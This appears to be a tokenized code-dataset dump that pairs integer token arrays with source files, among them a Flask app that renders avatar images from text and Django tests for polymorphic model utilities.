2683,
1378,
13,
13,
13,
29937,
29903,
420,
16717,
363,
9483,
455,
29890,
1793,
29897,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
26776,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29896,
29896,
29896,
29892,
1371,
2433,
8172,
16717,
1495,
13,
13,
29937,
11371,
4138,
411,
278,
2635,
13,
2962,
29918,
1256,
353,
11636,
29889,
12673,
29889,
3707,
2141,
710,
615,
603,
11702,
29979,
19222,
29885,
19222,
29881,
19222,
29950,
29889,
29995,
29924,
1159,
13,
2158,
4852,
4763,
5974,
29901,
15691,
2962,
29918,
1256,
29897,
13,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
29937,
2697,
278,
4036,
16717,
7522,
363,
9483,
455,
29890,
1793,
29889,
13,
7345,
305,
29889,
11288,
29918,
26776,
29898,
5085,
29889,
26776,
29897,
13,
13,
29937,
735,
15362,
29918,
2084,
353,
349,
545,
7685,
2605,
877,
5746,
13171,
7833,
3919,
8098,
29903,
1966,
29915,
718,
1369,
29918,
1256,
29897,
13,
7620,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
877,
29923,
8932,
29965,
8098,
742,
1369,
29918,
1256,
29897,
13,
13,
29937,
6760,
1078,
385,
17986,
3884,
322,
270,
17204,
599,
278,
6389,
304,
263,
1426,
934,
13,
361,
29898,
5085,
29889,
7620,
1125,
13,
1678,
565,
29898,
359,
29889,
2084,
29889,
9933,
29898,
7620,
29918,
2084,
22164,
13,
4706,
1596,
877,
29923,
4387,
362,
2307,
4864,
636,
1495,
13,
1678,
1683,
29901,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
7620,
29918,
2084,
29897,
13,
13,
1678,
1596,
4852,
29905,
29876,
22908,
1259,
1480,
297,
382,
8932,
29965,
8098,
22584,
29879,
29908,
29995,
2962,
29918,
1256,
29897,
13,
13,
1678,
396,
29928,
3427,
599,
22920,
29914,
24947,
16744,
297,
13872,
13,
1678,
411,
1722,
313,
359,
29889,
2084,
29889,
7122,
29898,
7620,
29918,
2084,
5501,
14513,
29918,
2917,
29889,
3945,
5477,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
877,
1252,
15362,
362,
2309,
472,
29901,
525,
29974,
851,
29898,
2962,
29918,
1256,
7240,
29915,
411,
1857,
22920,
3583,
29876,
1495,
13,
4706,
363,
1852,
297,
24987,
29898,
5085,
1125,
13,
9651,
285,
29889,
3539,
29898,
1191,
23097,
584,
525,
29974,
710,
29898,
657,
5552,
29898,
5085,
29892,
1852,
876,
29974,
12764,
29876,
1495,
13,
13,
29937,
2683,
2683,
2683,
2683,
9072,
5634,
13,
13,
29937,
6558,
373,
22796,
13,
361,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
7295,
13,
1678,
1596,
703,
15156,
22796,
1159,
13,
1678,
4742,
353,
4842,
305,
29889,
10141,
703,
29883,
6191,
29901,
29900,
1159,
13,
2870,
29901,
13,
29937,
6558,
373,
10808,
13,
1678,
1596,
703,
29956,
25614,
29901,
887,
526,
1048,
304,
1065,
373,
26403,
29892,
322,
445,
674,
5517,
1065,
714,
320,
13,
418,
310,
3370,
29889,
320,
29876,
887,
508,
1018,
4444,
9853,
29918,
2311,
29922,
29896,
304,
10032,
3370,
8744,
1159,
13,
1678,
4742,
353,
4842,
305,
29889,
10141,
703,
21970,
1159,
13,
13,
13,
14968,
29918,
2084,
29892,
2854,
29918,
2084,
29892,
1243,
29918,
2084,
353,
2224,
29918,
1272,
29898,
1272,
29918,
2084,
29922,
5085,
29889,
1272,
29892,
3414,
2433,
29903,
5850,
742,
1361,
29918,
1972,
29922,
5085,
29889,
3179,
29918,
1972,
29897,
13,
13,
13,
29937,
3782,
848,
18765,
362,
363,
1243,
848,
13,
1688,
29918,
29881,
2075,
29877,
1664,
29892,
1243,
29918,
2311,
353,
23466,
29898,
7638,
29918,
1445,
29922,
1688,
29918,
2084,
29961,
29896,
1402,
13,
18884,
3876,
29918,
3972,
29922,
1688,
29918,
2084,
29961,
29900,
1402,
13,
18884,
16280,
29918,
3820,
2209,
29922,
5085,
29889,
20401,
29918,
2371,
29918,
3820,
2209,
29892,
13,
18884,
16280,
29922,
5085,
29889,
20401,
29918,
2371,
29892,
13,
18884,
620,
29883,
744,
353,
6389,
29889,
690,
29883,
744,
29892,
13,
18884,
18765,
362,
353,
7700,
29892,
13,
18884,
9853,
29918,
2311,
353,
6389,
29889,
16175,
29918,
2311,
29892,
13,
18884,
954,
29918,
1287,
414,
353,
6389,
29889,
1949,
29918,
1287,
414,
29892,
13,
18884,
1510,
29918,
11249,
353,
6389,
29889,
4294,
29918,
11249,
29892,
13,
18884,
1752,
6038,
29922,
8824,
29892,
13,
18884,
1361,
29918,
3972,
29922,
1688,
29918,
2084,
29961,
29906,
29962,
13,
18884,
1723,
13,
13,
29937,
3782,
848,
18765,
362,
363,
1243,
848,
13,
3084,
29918,
29881,
2075,
29877,
1664,
29892,
2854,
29918,
2311,
353,
23466,
29898,
7638,
29918,
1445,
29922,
3084,
29918,
2084,
29961,
29896,
1402,
13,
18884,
3876,
29918,
3972,
29922,
3084,
29918,
2084,
29961,
29900,
1402,
13,
18884,
16280,
29922,
5085,
29889,
20401,
29918,
2371,
29892,
13,
18884,
16280,
29918,
3820,
2209,
29922,
5085,
29889,
20401,
29918,
2371,
29918,
3820,
2209,
29892,
13,
18884,
620,
29883,
744,
353,
6389,
29889,
690,
29883,
744,
29892,
13,
18884,
18765,
362,
353,
7700,
29892,
13,
18884,
9853,
29918,
2311,
353,
6389,
29889,
16175,
29918,
2311,
29892,
13,
18884,
954,
29918,
1287,
414,
353,
6389,
29889,
1949,
29918,
1287,
414,
29892,
13,
18884,
1510,
29918,
11249,
353,
6389,
29889,
4294,
29918,
11249,
29892,
13,
18884,
1752,
6038,
29922,
8824,
29892,
13,
18884,
1361,
29918,
3972,
29922,
3084,
29918,
2084,
29961,
29906,
29962,
13,
18884,
1723,
13,
13,
2158,
877,
3057,
8783,
2159,
29901,
525,
29974,
710,
29898,
1688,
29918,
2311,
876,
13,
2158,
877,
7211,
8783,
2159,
29901,
525,
29974,
710,
29898,
3084,
29918,
2311,
876,
13,
13,
29937,
8015,
29878,
2418,
2159,
310,
3646,
7931,
370,
13,
2541,
1722,
29898,
5085,
29889,
20401,
29918,
2371,
29892,
525,
6050,
1495,
408,
5839,
280,
29918,
1445,
29901,
13,
259,
7931,
370,
353,
5839,
280,
29889,
1359,
29898,
23945,
280,
29918,
1445,
29897,
13,
13,
29894,
542,
370,
29918,
2311,
353,
7431,
29898,
29894,
542,
370,
29897,
13,
13,
29937,
24995,
6611,
322,
1819,
310,
7931,
370,
304,
5948,
1106,
363,
3838,
13,
29894,
542,
370,
353,
426,
29891,
29901,
29916,
363,
921,
29892,
29891,
297,
7931,
370,
29889,
7076,
28296,
13,
13,
2158,
877,
29894,
542,
370,
352,
653,
2159,
11283,
718,
851,
29898,
29894,
542,
370,
29918,
2311,
876,
13,
13,
29937,
5896,
4152,
1904,
281,
29914,
18177,
13,
29937,
12256,
29923,
29901,
14707,
373,
2323,
4742,
13,
4299,
353,
4842,
305,
29889,
1359,
29898,
5085,
29889,
4299,
29918,
2084,
29892,
2910,
29918,
5479,
29922,
10141,
29897,
13,
13,
29937,
5896,
8636,
13,
29937,
4299,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
29876,
29897,
13,
13,
4299,
353,
1904,
29889,
517,
29898,
10141,
29897,
13,
2158,
703,
3195,
8472,
7500,
1159,
13,
13,
4299,
29889,
14513,
580,
259,
396,
3789,
1904,
304,
14707,
4464,
13,
2158,
4852,
29923,
4387,
1218,
636,
1159,
13,
13,
2962,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
13,
29937,
18405,
1549,
1243,
322,
659,
6166,
13,
29881,
2075,
29877,
24574,
353,
518,
3084,
29918,
29881,
2075,
29877,
1664,
29892,
1243,
29918,
29881,
2075,
29877,
1664,
29962,
13,
29879,
7093,
353,
518,
3084,
29918,
2311,
29892,
1243,
29918,
2311,
29962,
13,
24713,
353,
6024,
19448,
3789,
742,
525,
3057,
3789,
2033,
13,
13,
1454,
270,
297,
3464,
29898,
2435,
29898,
29879,
7093,
22164,
13,
13,
1678,
1418,
7003,
1664,
353,
1418,
7003,
24574,
29961,
29881,
29962,
13,
1678,
2159,
353,
15786,
29961,
29881,
29962,
13,
1678,
1596,
29898,
24713,
29961,
29881,
2314,
13,
13,
1678,
396,
2831,
6728,
2594,
13,
1678,
2594,
353,
6728,
1646,
29889,
14470,
4297,
29898,
3317,
791,
29922,
2311,
29892,
11109,
29879,
11759,
18035,
1646,
29889,
4297,
877,
29922,
742,
525,
29961,
742,
525,
29962,
5477,
525,
13420,
6728,
1646,
29889,
27933,
482,
580,
2314,
13,
1678,
2594,
29889,
2962,
580,
13,
1678,
474,
353,
29871,
29900,
13,
1678,
2302,
353,
29871,
29900,
13,
13,
1678,
396,
11371,
13962,
322,
3407,
25260,
13,
1678,
13962,
29918,
2616,
13364,
353,
5159,
13,
1678,
3407,
29918,
2616,
13364,
353,
5159,
13,
1678,
9282,
29918,
2616,
13364,
353,
5159,
13,
13,
1678,
396,
18405,
975,
1375,
747,
905,
267,
13,
1678,
363,
4331,
29892,
313,
29916,
29892,
921,
29918,
2848,
29879,
29892,
343,
29892,
343,
29918,
2848,
29879,
29892,
3144,
2209,
29892,
3144,
2209,
29918,
2848,
29879,
29897,
297,
26985,
29898,
29881,
2075,
29877,
1664,
1125,
13,
13,
4706,
396,
6422,
6728,
2594,
411,
1432,
4256,
13,
4706,
474,
4619,
7431,
29898,
29916,
29897,
13,
4706,
2594,
29889,
5504,
29898,
29875,
29897,
13,
13,
4706,
343,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
29891,
467,
517,
29898,
10141,
29897,
13,
4706,
921,
353,
921,
29889,
517,
29898,
10141,
29897,
13,
13,
4706,
9853,
353,
350,
905,
29898,
29916,
29918,
2848,
29879,
29892,
343,
29918,
2848,
29879,
29892,
343,
29892,
5012,
19059,
29922,
10141,
29892,
7232,
29918,
1853,
2433,
29906,
29881,
742,
4343,
29918,
12791,
29922,
8516,
29892,
1104,
29918,
7165,
29922,
5085,
29889,
2674,
29918,
7165,
29897,
13,
13,
4706,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
9651,
396,
11609,
13962,
773,
1749,
16370,
1904,
13,
9651,
5578,
800,
353,
1602,
3689,
29898,
4299,
29892,
921,
29892,
9853,
29892,
6213,
29892,
1369,
29918,
18098,
29922,
29896,
29892,
4236,
29918,
2435,
29922,
5085,
29889,
7099,
3689,
29918,
2848,
29892,
1158,
29922,
5085,
29889,
7099,
3689,
29892,
302,
29918,
915,
314,
29922,
5085,
29889,
29876,
29918,
915,
314,
29892,
4742,
29922,
10141,
29897,
13,
13,
9651,
396,
18405,
975,
5578,
800,
322,
9282,
13,
9651,
396,
12256,
29923,
29901,
2313,
538,
4266,
18897,
13,
9651,
363,
432,
297,
3464,
29898,
29891,
29889,
12181,
29961,
29900,
29962,
1125,
13,
18884,
343,
29879,
353,
343,
29961,
29926,
29892,
584,
29962,
13,
18884,
343,
29879,
353,
343,
29879,
29961,
952,
2804,
29871,
29900,
29962,
13,
18884,
396,
9598,
1022,
529,
29872,
359,
29958,
5993,
13,
18884,
343,
29879,
353,
343,
29879,
29961,
29896,
17531,
13,
13,
18884,
13962,
353,
5578,
800,
29961,
29926,
29962,
13,
13,
18884,
396,
18455,
2380,
18897,
304,
3838,
13,
18884,
13962,
29918,
2616,
13364,
29889,
4397,
4197,
29894,
542,
370,
29961,
29916,
29889,
667,
580,
29962,
363,
921,
297,
13962,
2314,
13,
18884,
9282,
29918,
2616,
13364,
29889,
4397,
4197,
29961,
29894,
542,
370,
29961,
29916,
29889,
667,
580,
29962,
363,
921,
297,
343,
29879,
24960,
13,
18884,
3407,
29918,
2616,
13364,
29889,
4397,
4197,
29894,
542,
370,
29961,
29916,
29889,
667,
580,
29962,
363,
921,
297,
343,
29879,
2314,
13,
13,
4706,
396,
20475,
777,
3370,
13,
4706,
396,
12256,
29923,
29901,
445,
6911,
394,
327,
297,
4772,
292,
274,
6191,
714,
310,
3370,
13,
4706,
628,
921,
29892,
343,
29892,
9853,
13,
13,
1678,
4974,
7431,
29898,
3286,
18411,
29918,
2616,
13364,
29897,
1275,
7431,
29898,
276,
10662,
29918,
2616,
13364,
29897,
13,
13,
1678,
565,
29898,
5085,
29889,
7620,
1125,
13,
4706,
396,
11371,
2582,
297,
13872,
2066,
13,
4706,
851,
29896,
543,
376,
13,
4706,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
7620,
29918,
2084,
29892,
525,
3286,
29880,
800,
29889,
3945,
1495,
1919,
29915,
29874,
1495,
408,
1301,
29918,
1445,
29901,
13,
9651,
1301,
29918,
1445,
29889,
3539,
29898,
710,
29896,
29889,
7122,
29898,
3286,
18411,
29918,
2616,
13364,
7240,
12764,
29876,
1495,
13,
13,
4706,
851,
29896,
543,
376,
13,
4706,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
7620,
29918,
2084,
29892,
525,
276,
10662,
29889,
3945,
5477,
525,
29874,
1495,
408,
2143,
29918,
1445,
29901,
13,
9651,
2143,
29918,
1445,
29889,
3539,
29898,
710,
29896,
29889,
7122,
29898,
5679,
29918,
2616,
13364,
7240,
12764,
29876,
1495,
13,
13,
1678,
565,
29898,
5085,
29889,
569,
29884,
1125,
13,
13,
4706,
396,
4592,
736,
13,
4706,
396,
12256,
29923,
29901,
366,
508,
671,
278,
302,
15206,
29895,
3489,
304,
5645,
278,
10767,
29884,
8158,
13,
4706,
396,
569,
29884,
29918,
29946,
353,
1034,
13364,
29918,
569,
29884,
29898,
5679,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29897,
13,
4706,
10767,
29884,
29918,
29946,
29892,
17117,
17117,
17117,
17117,
903,
353,
10272,
29918,
569,
29884,
29898,
276,
10662,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
4236,
29918,
2098,
29922,
29946,
29897,
13,
13,
4706,
396,
705,
5861,
353,
313,
29896,
29889,
29900,
29914,
29896,
29889,
29900,
29892,
1723,
13,
4706,
10767,
29884,
29918,
29896,
29892,
17117,
17117,
17117,
17117,
903,
353,
10272,
29918,
569,
29884,
29898,
276,
10662,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
4236,
29918,
2098,
29922,
29896,
29897,
13,
13,
4706,
396,
705,
5861,
353,
313,
29896,
29889,
29900,
29914,
29906,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29914,
29906,
29889,
29900,
29892,
1723,
13,
4706,
396,
569,
29884,
29918,
29906,
353,
1034,
13364,
29918,
569,
29884,
29898,
5679,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
18177,
29897,
13,
4706,
10767,
29884,
29918,
29906,
29892,
17117,
17117,
17117,
17117,
903,
353,
10272,
29918,
569,
29884,
29898,
276,
10662,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
4236,
29918,
2098,
29922,
29906,
29897,
13,
13,
4706,
396,
705,
5861,
353,
313,
29896,
29889,
29900,
29914,
29941,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29914,
29941,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29914,
29941,
29889,
29900,
29892,
29897,
13,
4706,
396,
569,
29884,
29918,
29941,
353,
1034,
13364,
29918,
569,
29884,
29898,
5679,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
18177,
29897,
13,
4706,
10767,
29884,
29918,
29941,
29892,
17117,
17117,
17117,
17117,
903,
353,
10272,
29918,
569,
29884,
29898,
276,
10662,
29918,
2616,
13364,
29892,
13962,
29918,
2616,
13364,
29892,
4236,
29918,
2098,
29922,
29941,
29897,
13,
13,
4706,
1480,
29918,
710,
353,
525,
29933,
280,
29884,
382,
4387,
362,
29901,
525,
718,
11297,
29873,
29915,
320,
13,
4706,
718,
525,
29933,
280,
29884,
29918,
29896,
29901,
525,
718,
851,
29898,
569,
29884,
29918,
29896,
29897,
718,
11297,
29873,
29915,
320,
13,
4706,
718,
525,
29933,
280,
29884,
29918,
29906,
29901,
525,
718,
851,
29898,
569,
29884,
29918,
29906,
29897,
718,
11297,
29873,
29915,
320,
13,
4706,
718,
525,
29933,
280,
29884,
29918,
29941,
29901,
525,
718,
851,
29898,
569,
29884,
29918,
29941,
29897,
718,
11297,
29873,
29915,
320,
13,
4706,
718,
525,
29933,
280,
29884,
29918,
29946,
29901,
525,
718,
851,
29898,
569,
29884,
29918,
29946,
29897,
13,
13,
4706,
1596,
29898,
1188,
29918,
710,
29897,
13,
13,
4706,
565,
29898,
5085,
29889,
7620,
1125,
13,
9651,
396,
11371,
17983,
2582,
297,
263,
1480,
934,
13,
9651,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
7620,
29918,
2084,
29892,
525,
1188,
29889,
3945,
5477,
525,
29874,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
1188,
29918,
710,
29974,
12764,
29876,
1495,
13,
13,
1678,
565,
29898,
5085,
29889,
27537,
479,
1125,
13,
13,
4706,
3407,
29918,
2616,
13364,
353,
6796,
11393,
7122,
29898,
5679,
29897,
363,
3407,
297,
3407,
29918,
2616,
13364,
29962,
13,
4706,
13962,
29918,
2616,
13364,
353,
6796,
11393,
7122,
29898,
29882,
1478,
720,
6656,
29897,
363,
20051,
297,
13962,
29918,
2616,
13364,
29962,
13,
13,
4706,
8158,
353,
16053,
479,
29898,
3286,
18411,
29918,
2616,
13364,
29892,
3407,
29918,
2616,
13364,
29897,
13,
4706,
1596,
29898,
13628,
3366,
27537,
479,
29918,
29880,
29914,
29888,
29918,
13628,
20068,
13,
13,
4706,
1480,
29918,
710,
353,
525,
29934,
283,
479,
382,
4387,
362,
29901,
525,
718,
11297,
29873,
29915,
13,
4706,
1596,
29898,
1188,
29918,
710,
29897,
13,
13,
4706,
565,
29898,
5085,
29889,
7620,
1125,
13,
9651,
396,
11371,
17983,
2582,
297,
263,
1480,
934,
13,
9651,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
7620,
29918,
2084,
29892,
525,
1188,
29889,
3945,
5477,
525,
29874,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
1188,
29918,
710,
29974,
12764,
29876,
1495,
13,
13,
2
] |
origamicon/app.py | Mailea/individual-sha1-avatars | 14 | 97082 | from flask import Flask, render_template, request, send_file
import io
import base64 as b64
import generator
app = Flask(__name__)
def page(**kwargs):
return render_template('main.html', **kwargs)
@app.route("/")
def home():
return page()
@app.route("/<text>", methods=['GET'])
def load_origamicon(text):
buffer = io.BytesIO()
origamicon = generator.create_origamicon(text)
origamicon.save(buffer, format='PNG')
buffer.seek(0)
return send_file(buffer, mimetype='image/png')
@app.route("/", methods=['POST'])
def update_origamicon():
text = request.form['origamicon-text']
if not text:
return page()
buffer = io.BytesIO()
origamicon = generator.create_origamicon(text)
origamicon.save(buffer, format='PNG')
image_data = buffer.getvalue()
image_data = b64.b64encode(image_data).decode()
image = 'data:;base64, {}'.format(image_data)
return page(name=text, image=image)
if __name__ == '__main__':
app.run()
| [
1,
515,
29784,
1053,
2379,
1278,
29892,
4050,
29918,
6886,
29892,
2009,
29892,
3638,
29918,
1445,
13,
13,
5215,
12013,
13,
5215,
2967,
29953,
29946,
408,
289,
29953,
29946,
13,
13,
5215,
15299,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
13,
13,
1753,
1813,
29898,
1068,
19290,
1125,
13,
1678,
736,
4050,
29918,
6886,
877,
3396,
29889,
1420,
742,
3579,
19290,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
1159,
13,
1753,
3271,
7295,
13,
1678,
736,
1813,
580,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
29966,
726,
28341,
3519,
29922,
1839,
7194,
11287,
13,
1753,
2254,
29918,
12683,
314,
4144,
29898,
726,
1125,
13,
1678,
6835,
353,
12013,
29889,
11207,
5971,
580,
13,
1678,
1677,
314,
4144,
353,
15299,
29889,
3258,
29918,
12683,
314,
4144,
29898,
726,
29897,
13,
1678,
1677,
314,
4144,
29889,
7620,
29898,
9040,
29892,
3402,
2433,
29925,
9312,
1495,
13,
1678,
6835,
29889,
344,
1416,
29898,
29900,
29897,
13,
13,
1678,
736,
3638,
29918,
1445,
29898,
9040,
29892,
286,
17528,
668,
2433,
3027,
29914,
2732,
1495,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
613,
3519,
29922,
1839,
5438,
11287,
13,
1753,
2767,
29918,
12683,
314,
4144,
7295,
13,
1678,
1426,
353,
2009,
29889,
689,
1839,
12683,
314,
4144,
29899,
726,
2033,
13,
1678,
565,
451,
1426,
29901,
13,
4706,
736,
1813,
580,
13,
13,
1678,
6835,
353,
12013,
29889,
11207,
5971,
580,
13,
1678,
1677,
314,
4144,
353,
15299,
29889,
3258,
29918,
12683,
314,
4144,
29898,
726,
29897,
13,
1678,
1677,
314,
4144,
29889,
7620,
29898,
9040,
29892,
3402,
2433,
29925,
9312,
1495,
13,
1678,
1967,
29918,
1272,
353,
6835,
29889,
657,
1767,
580,
13,
1678,
1967,
29918,
1272,
353,
289,
29953,
29946,
29889,
29890,
29953,
29946,
12508,
29898,
3027,
29918,
1272,
467,
13808,
580,
13,
1678,
1967,
353,
525,
1272,
29901,
29936,
3188,
29953,
29946,
29892,
6571,
4286,
4830,
29898,
3027,
29918,
1272,
29897,
13,
13,
1678,
736,
1813,
29898,
978,
29922,
726,
29892,
1967,
29922,
3027,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
623,
29889,
3389,
580,
13,
2
] |
polymorphic/tests/test_utils.py | likeanaxon/django-polymorphic | 1 | 20437 | <filename>polymorphic/tests/test_utils.py
from django.test import TransactionTestCase
from polymorphic.models import PolymorphicModel, PolymorphicTypeUndefined
from polymorphic.tests.models import (
Enhance_Base,
Enhance_Inherit,
Model2A,
Model2B,
Model2C,
Model2D,
)
from polymorphic.utils import (
get_base_polymorphic_model,
reset_polymorphic_ctype,
sort_by_subclass,
)
class UtilsTests(TransactionTestCase):
def test_sort_by_subclass(self):
self.assertEqual(
sort_by_subclass(Model2D, Model2B, Model2D, Model2A, Model2C),
[Model2A, Model2B, Model2C, Model2D, Model2D],
)
def test_reset_polymorphic_ctype(self):
"""
Test the the polymorphic_ctype_id can be restored.
"""
Model2A.objects.create(field1="A1")
Model2D.objects.create(field1="A1", field2="B2", field3="C3", field4="D4")
Model2B.objects.create(field1="A1", field2="B2")
Model2B.objects.create(field1="A1", field2="B2")
Model2A.objects.all().update(polymorphic_ctype_id=None)
with self.assertRaises(PolymorphicTypeUndefined):
list(Model2A.objects.all())
reset_polymorphic_ctype(Model2D, Model2B, Model2D, Model2A, Model2C)
self.assertQuerysetEqual(
Model2A.objects.order_by("pk"),
[Model2A, Model2D, Model2B, Model2B],
transform=lambda o: o.__class__,
)
def test_get_base_polymorphic_model(self):
"""
Test that finding the base polymorphic model works.
"""
# Finds the base from every level (including lowest)
self.assertIs(get_base_polymorphic_model(Model2D), Model2A)
self.assertIs(get_base_polymorphic_model(Model2C), Model2A)
self.assertIs(get_base_polymorphic_model(Model2B), Model2A)
self.assertIs(get_base_polymorphic_model(Model2A), Model2A)
# Properly handles multiple inheritance
self.assertIs(get_base_polymorphic_model(Enhance_Inherit), Enhance_Base)
# Ignores PolymorphicModel itself.
self.assertIs(get_base_polymorphic_model(PolymorphicModel), None)
def test_get_base_polymorphic_model_skip_abstract(self):
"""
Skipping abstract models that can't be used for querying.
"""
class A(PolymorphicModel):
class Meta:
abstract = True
class B(A):
pass
class C(B):
pass
self.assertIs(get_base_polymorphic_model(A), None)
self.assertIs(get_base_polymorphic_model(B), B)
self.assertIs(get_base_polymorphic_model(C), B)
self.assertIs(get_base_polymorphic_model(C, allow_abstract=True), A)
| [
1,
529,
9507,
29958,
3733,
962,
5676,
293,
29914,
21150,
29914,
1688,
29918,
13239,
29889,
2272,
13,
3166,
9557,
29889,
1688,
1053,
4103,
2467,
3057,
8259,
13,
13,
3166,
24324,
5676,
293,
29889,
9794,
1053,
2043,
962,
5676,
293,
3195,
29892,
2043,
962,
5676,
293,
1542,
25263,
5598,
13,
3166,
24324,
5676,
293,
29889,
21150,
29889,
9794,
1053,
313,
13,
1678,
1174,
29882,
749,
29918,
5160,
29892,
13,
1678,
1174,
29882,
749,
29918,
797,
27069,
29892,
13,
1678,
8125,
29906,
29909,
29892,
13,
1678,
8125,
29906,
29933,
29892,
13,
1678,
8125,
29906,
29907,
29892,
13,
1678,
8125,
29906,
29928,
29892,
13,
29897,
13,
3166,
24324,
5676,
293,
29889,
13239,
1053,
313,
13,
1678,
679,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29892,
13,
1678,
10092,
29918,
3733,
962,
5676,
293,
29918,
312,
668,
29892,
13,
1678,
2656,
29918,
1609,
29918,
1491,
1990,
29892,
13,
29897,
13,
13,
13,
1990,
22310,
29879,
24376,
29898,
12460,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
6605,
29918,
1609,
29918,
1491,
1990,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13,
9651,
2656,
29918,
1609,
29918,
1491,
1990,
29898,
3195,
29906,
29928,
29892,
8125,
29906,
29933,
29892,
8125,
29906,
29928,
29892,
8125,
29906,
29909,
29892,
8125,
29906,
29907,
511,
13,
9651,
518,
3195,
29906,
29909,
29892,
8125,
29906,
29933,
29892,
8125,
29906,
29907,
29892,
8125,
29906,
29928,
29892,
8125,
29906,
29928,
1402,
13,
4706,
1723,
13,
13,
1678,
822,
1243,
29918,
12071,
29918,
3733,
962,
5676,
293,
29918,
312,
668,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
278,
278,
24324,
5676,
293,
29918,
312,
668,
29918,
333,
508,
367,
23119,
29889,
13,
4706,
9995,
13,
4706,
8125,
29906,
29909,
29889,
12650,
29889,
3258,
29898,
2671,
29896,
543,
29909,
29896,
1159,
13,
4706,
8125,
29906,
29928,
29889,
12650,
29889,
3258,
29898,
2671,
29896,
543,
29909,
29896,
613,
1746,
29906,
543,
29933,
29906,
613,
1746,
29941,
543,
29907,
29941,
613,
1746,
29946,
543,
29928,
29946,
1159,
13,
4706,
8125,
29906,
29933,
29889,
12650,
29889,
3258,
29898,
2671,
29896,
543,
29909,
29896,
613,
1746,
29906,
543,
29933,
29906,
1159,
13,
4706,
8125,
29906,
29933,
29889,
12650,
29889,
3258,
29898,
2671,
29896,
543,
29909,
29896,
613,
1746,
29906,
543,
29933,
29906,
1159,
13,
4706,
8125,
29906,
29909,
29889,
12650,
29889,
497,
2141,
5504,
29898,
3733,
962,
5676,
293,
29918,
312,
668,
29918,
333,
29922,
8516,
29897,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
7713,
962,
5676,
293,
1542,
25263,
5598,
1125,
13,
9651,
1051,
29898,
3195,
29906,
29909,
29889,
12650,
29889,
497,
3101,
13,
13,
4706,
10092,
29918,
3733,
962,
5676,
293,
29918,
312,
668,
29898,
3195,
29906,
29928,
29892,
8125,
29906,
29933,
29892,
8125,
29906,
29928,
29892,
8125,
29906,
29909,
29892,
8125,
29906,
29907,
29897,
13,
13,
4706,
1583,
29889,
9294,
3010,
842,
9843,
29898,
13,
9651,
8125,
29906,
29909,
29889,
12650,
29889,
2098,
29918,
1609,
703,
20571,
4968,
13,
9651,
518,
3195,
29906,
29909,
29892,
8125,
29906,
29928,
29892,
8125,
29906,
29933,
29892,
8125,
29906,
29933,
1402,
13,
9651,
4327,
29922,
2892,
288,
29901,
288,
17255,
1990,
1649,
29892,
13,
4706,
1723,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
393,
9138,
278,
2967,
24324,
5676,
293,
1904,
1736,
29889,
13,
4706,
9995,
13,
4706,
396,
10987,
29879,
278,
2967,
515,
1432,
3233,
313,
18271,
19604,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
3195,
29906,
29928,
511,
8125,
29906,
29909,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
3195,
29906,
29907,
511,
8125,
29906,
29909,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
3195,
29906,
29933,
511,
8125,
29906,
29909,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
3195,
29906,
29909,
511,
8125,
29906,
29909,
29897,
13,
13,
4706,
396,
1019,
546,
368,
17766,
2999,
20328,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
2369,
29882,
749,
29918,
797,
27069,
511,
1174,
29882,
749,
29918,
5160,
29897,
13,
13,
4706,
396,
18076,
2361,
2043,
962,
5676,
293,
3195,
3528,
29889,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
